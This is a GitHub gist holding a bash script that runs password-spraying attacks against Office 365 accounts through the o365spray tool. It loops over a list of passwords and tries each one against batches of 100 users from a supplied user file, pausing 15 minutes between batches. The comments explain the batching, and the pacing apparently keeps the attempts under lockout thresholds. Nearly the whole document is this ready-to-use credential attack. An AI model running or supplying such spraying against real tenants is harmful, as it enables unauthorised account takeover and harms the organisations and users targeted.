Created
August 26, 2020 03:59
-
-
Save 0xZDH/2189aca87df94935bd203934022cddf3 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Break up normal password spraying into smaller chunks | |
| # i.e. Spray `Password` against 100/5,000 users at a time | |
| # The reason for this code is to expand on the functionality of o365spray as | |
| # it currently only supports breaking up sprays by groups of passwords. Instead | |
| # this allows us to break sprays up by groups of users per password. | |
| DOMAIN=changeme # TODO: Fill this out | |
| USERFILE=changeme # TODO: Fill this out | |
| # TODO: Update this list with passwords to spray. It is better to use | |
| # small lists and perform multiple runs of this script | |
| PASSWORDS=('Password' 'Password' 'Password') | |
| NUM_USERS_PER_PASS=100 # TODO: Update this value | |
| TIME_TO_WAIT=15 # TODO: Update this value | |
| # Total number of users divided by the split count (users/split) | |
| TOTAL_USER_COUNT=$(wc -l ${USERFILE} | awk '{print $1}') | |
| USER_SPLIT_COUNT=$(( ${TOTAL_USER_COUNT}/${NUM_USERS_PER_PASS} )) | |
| # Iterate over each password, one at a time | |
| for PASS in ${PASSWORDS[@]} | |
| do | |
| # Counter for tracking users | |
| COUNT=1 | |
| # Iterate over a sequence of users based on the number to split by | |
| # i.e. Perform a pass of 100 users at a time | |
| # To do this we take the number of users and divide by the split count (users/split) | |
| for i in $(seq 1 ${USER_SPLIT_COUNT}) | |
| do | |
| # Cut the users by N each pass | |
| # We remove 1 each iteration to account for starting points | |
| # i.e. 1 -> 100, 101 -> 200, 201 -> 300, ... | |
| COUNT_UPPER=$(( ${COUNT} + $(( ${NUM_USERS_PER_PASS} - 1 )) )) | |
| sed -n ${COUNT},${COUNT_UPPER}p ${USERFILE} > tmp_users.txt | |
| # Enumerate the N users via tmp_users.txt | |
| python3 o365spray.py --spray --domain "${DOMAIN}" -U tmp_users.txt -p "${PASS}" | |
| # Move the user starting point up N | |
| COUNT=$(( ${COUNT} + ${NUM_USERS_PER_PASS} )) | |
| # Wait N minutes | |
| sleep ${TIME_TO_WAIT}m | |
| done | |
| done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment